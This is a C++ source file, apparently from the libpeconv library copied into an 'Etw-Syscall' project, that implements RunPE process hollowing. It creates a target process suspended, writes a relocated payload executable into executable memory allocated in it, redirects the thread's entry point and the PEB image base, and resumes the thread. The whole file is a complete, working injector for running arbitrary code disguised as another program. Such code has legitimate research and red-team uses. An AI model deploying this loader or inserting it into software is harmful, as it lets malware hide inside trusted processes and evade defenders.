Files
Etw-Syscall/Etw Syscall/libpeconv-master/run_pe/run_pe.cpp
2022-04-26 15:31:46 +08:00

319 lines
10 KiB
C++

#include "run_pe.h"
#include <peconv.h>
#include <iostream>
using namespace peconv;
bool create_suspended_process(IN const char* path, IN const char* cmdLine, OUT PROCESS_INFORMATION &pi)
{
STARTUPINFO si;
memset(&si, 0, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
memset(&pi, 0, sizeof(PROCESS_INFORMATION));
if (!CreateProcessA(
path,
(LPSTR)cmdLine,
NULL, //lpProcessAttributes
NULL, //lpThreadAttributes
FALSE, //bInheritHandles
CREATE_SUSPENDED, //dwCreationFlags
NULL, //lpEnvironment
NULL, //lpCurrentDirectory
&si, //lpStartupInfo
&pi //lpProcessInformation
))
{
std::cerr << "[ERROR] CreateProcess failed, Error = " << std::hex << GetLastError() << "\n";
return false;
}
return true;
}
bool terminate_process(DWORD pid)
{
bool is_killed = false;
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
if (!hProcess) {
return false;
}
if (TerminateProcess(hProcess, 0)) {
is_killed = true;
}
else {
std::cerr << "[ERROR] Could not terminate the process. PID = " << std::dec << pid << std::endl;
}
CloseHandle(hProcess);
return is_killed;
}
bool read_remote_mem(HANDLE hProcess, ULONGLONG remote_addr, OUT void* buffer, const size_t buffer_size)
{
memset(buffer, 0, buffer_size);
if (!ReadProcessMemory(hProcess, LPVOID(remote_addr), buffer, buffer_size, NULL)) {
std::cerr << "[ERROR] Cannot read from the remote memory!\n";
return false;
}
return true;
}
BOOL update_remote_entry_point(PROCESS_INFORMATION &pi, ULONGLONG entry_point_va, bool is32bit)
{
#ifdef _DEBUG
printf("Writing new EP: %x\n", entry_point_va);
#endif
#if defined(_WIN64)
if (is32bit) {
// The target is a 32 bit executable while the loader is 64bit,
// so, in order to access the target we must use Wow64 versions of the functions:
// 1. Get initial context of the target:
WOW64_CONTEXT context = { 0 };
memset(&context, 0, sizeof(WOW64_CONTEXT));
context.ContextFlags = CONTEXT_INTEGER;
if (!Wow64GetThreadContext(pi.hThread, &context)) {
return FALSE;
}
// 2. Set the new Entry Point in the context:
context.Eax = static_cast<DWORD>(entry_point_va);
// 3. Set the changed context into the target:
return Wow64SetThreadContext(pi.hThread, &context);
}
#endif
// 1. Get initial context of the target:
CONTEXT context = { 0 };
memset(&context, 0, sizeof(CONTEXT));
context.ContextFlags = CONTEXT_INTEGER;
if (!GetThreadContext(pi.hThread, &context)) {
return FALSE;
}
// 2. Set the new Entry Point in the context:
#if defined(_WIN64)
context.Rcx = entry_point_va;
#else
context.Eax = static_cast<DWORD>(entry_point_va);
#endif
// 3. Set the changed context into the target:
return SetThreadContext(pi.hThread, &context);
}
ULONGLONG get_remote_peb_addr(PROCESS_INFORMATION &pi, bool is32bit)
{
#if defined(_WIN64)
if (is32bit) {
//get initial context of the target:
WOW64_CONTEXT context;
memset(&context, 0, sizeof(WOW64_CONTEXT));
context.ContextFlags = CONTEXT_INTEGER;
if (!Wow64GetThreadContext(pi.hThread, &context)) {
printf("Wow64 cannot get context!\n");
return 0;
}
//get remote PEB from the context
return static_cast<ULONGLONG>(context.Ebx);
}
#endif
ULONGLONG PEB_addr = 0;
CONTEXT context;
memset(&context, 0, sizeof(CONTEXT));
context.ContextFlags = CONTEXT_INTEGER;
if (!GetThreadContext(pi.hThread, &context)) {
return 0;
}
#if defined(_WIN64)
PEB_addr = context.Rdx;
#else
PEB_addr = context.Ebx;
#endif
return PEB_addr;
}
inline ULONGLONG get_img_base_peb_offset(bool is32bit)
{
/*
We calculate this offset in relation to PEB,
that is defined in the following way
(source "ntddk.h"):
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace; // size: 1
BOOLEAN ReadImageFileExecOptions; // size : 1
BOOLEAN BeingDebugged; // size : 1
BOOLEAN SpareBool; // size : 1
// on 64bit here there is a padding to the sizeof ULONGLONG (DWORD64)
HANDLE Mutant; // this field have DWORD size on 32bit, and ULONGLONG (DWORD64) size on 64bit
PVOID ImageBaseAddress;
[...]
*/
ULONGLONG img_base_offset = is32bit ?
sizeof(DWORD) * 2
: sizeof(ULONGLONG) * 2;
return img_base_offset;
}
bool redirect_to_payload(BYTE* loaded_pe, PVOID load_base, PROCESS_INFORMATION &pi, bool is32bit)
{
//1. Calculate VA of the payload's EntryPoint
DWORD ep = get_entry_point_rva(loaded_pe);
ULONGLONG ep_va = (ULONGLONG)load_base + ep;
//2. Write the new Entry Point into context of the remote process:
if (update_remote_entry_point(pi, ep_va, is32bit) == FALSE) {
std::cerr << "Cannot update remote EP!\n";
return false;
}
//3. Get access to the remote PEB:
ULONGLONG remote_peb_addr = get_remote_peb_addr(pi, is32bit);
if (!remote_peb_addr) {
std::cerr << "Failed getting remote PEB address!\n";
return false;
}
// get the offset to the PEB's field where the ImageBase should be saved (depends on architecture):
LPVOID remote_img_base = (LPVOID)(remote_peb_addr + get_img_base_peb_offset(is32bit));
//calculate size of the field (depends on architecture):
const size_t img_base_size = is32bit ? sizeof(DWORD) : sizeof(ULONGLONG);
SIZE_T written = 0;
//4. Write the payload's ImageBase into remote process' PEB:
if (!WriteProcessMemory(pi.hProcess, remote_img_base,
&load_base, img_base_size,
&written))
{
std::cerr << "Cannot update ImageBaseAddress!\n";
return false;
}
return true;
}
bool _run_pe(BYTE *loaded_pe, size_t payloadImageSize, PROCESS_INFORMATION &pi, bool is32bit)
{
if (loaded_pe == NULL) return false;
//1. Allocate memory for the payload in the remote process:
LPVOID remoteBase = VirtualAllocEx(pi.hProcess, NULL, payloadImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remoteBase == NULL) {
std::cerr << "Could not allocate memory in the remote process\n";
return false;
}
#ifdef _DEBUG
printf("Allocated remote ImageBase: %p size: %lx\n", remoteBase, static_cast<ULONG>(payloadImageSize));
#endif
//2. Relocate the payload (local copy) to the Remote Base:
if (!relocate_module(loaded_pe, payloadImageSize, (ULONGLONG) remoteBase)) {
std::cout << "Could not relocate the module!\n";
return false;
}
//3. Update the image base of the payload (local copy) to the Remote Base:
update_image_base(loaded_pe, (ULONGLONG) remoteBase);
//4. Write the payload to the remote process, at the Remote Base:
SIZE_T written = 0;
if (!WriteProcessMemory(pi.hProcess, remoteBase, loaded_pe, payloadImageSize, &written)) {
std::cout << "Writing to the remote process failed!\n";
return false;
}
#ifdef _DEBUG
printf("Loaded at: %p\n", loaded_pe);
#endif
//5. Redirect the remote structures to the injected payload (EntryPoint and ImageBase must be changed):
if (!redirect_to_payload(loaded_pe, remoteBase, pi, is32bit)) {
std::cerr << "Redirecting failed!\n";
return false;
}
//6. Resume the thread and let the payload run:
ResumeThread(pi.hThread);
return true;
}
bool is_target_compatibile(BYTE *payload_buf, size_t payload_size, const char *targetPath)
{
if (!payload_buf) {
return false;
}
const WORD payload_subs = peconv::get_subsystem(payload_buf);
size_t target_size = 0;
BYTE* target_pe = load_pe_module(targetPath, target_size, false, false);
if (!target_pe) {
return false;
}
const WORD target_subs = peconv::get_subsystem(target_pe);
const bool is64bit_target = peconv::is64bit(target_pe);
peconv::free_pe_buffer(target_pe); target_pe = NULL; target_size = 0;
if (is64bit_target != peconv::is64bit(payload_buf)) {
std::cerr << "Incompatibile target bitness!\n";
return false;
}
if (payload_subs != IMAGE_SUBSYSTEM_WINDOWS_GUI //only a payload with GUI subsystem can be run by both GUI and CLI
&& target_subs != payload_subs)
{
std::cerr << "Incompatibile target subsystem!\n";
return false;
}
return true;
}
bool run_pe(IN const char *payloadPath, IN const char *targetPath, IN const char *cmdLine)
{
//1. Load the payload:
size_t payloadImageSize = 0;
// Load the current executable from the file with the help of libpeconv:
BYTE* loaded_pe = peconv::load_pe_module(payloadPath, payloadImageSize, false, false);
if (!loaded_pe) {
std::cerr << "Loading failed!\n";
return false;
}
// Get the payload's architecture and check if it is compatibile with the loader:
const WORD payload_arch = get_nt_hdr_architecture(loaded_pe);
if (payload_arch != IMAGE_NT_OPTIONAL_HDR32_MAGIC && payload_arch != IMAGE_NT_OPTIONAL_HDR64_MAGIC) {
std::cerr << "Not supported paylad architecture!\n";
return false;
}
const bool is32bit_payload = !peconv::is64bit(loaded_pe);
#ifndef _WIN64
if (!is32bit_payload) {
std::cerr << "Incompatibile payload architecture!\n"
<< "Only 32 bit payloads can be injected from 32bit loader!\n";
return false;
}
#endif
// 2. Prepare the taget
if (targetPath == NULL) {
std::cerr << "No target supplied!\n";
return false;
}
if (!is_target_compatibile(loaded_pe, payloadImageSize, targetPath)) {
free_pe_buffer(loaded_pe, payloadImageSize);
return false;
}
// Create the target process (suspended):
PROCESS_INFORMATION pi = { 0 };
bool is_created = create_suspended_process(targetPath, cmdLine, pi);
if (!is_created) {
std::cerr << "Creating target process failed!\n";
free_pe_buffer(loaded_pe, payloadImageSize);
return false;
}
//3. Perform the actual RunPE:
bool isOk = _run_pe(loaded_pe, payloadImageSize, pi, is32bit_payload);
//4. Cleanup:
if (!isOk) { //if injection failed, kill the process
terminate_process(pi.dwProcessId);
}
free_pe_buffer(loaded_pe, payloadImageSize);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
//---
return isOk;
}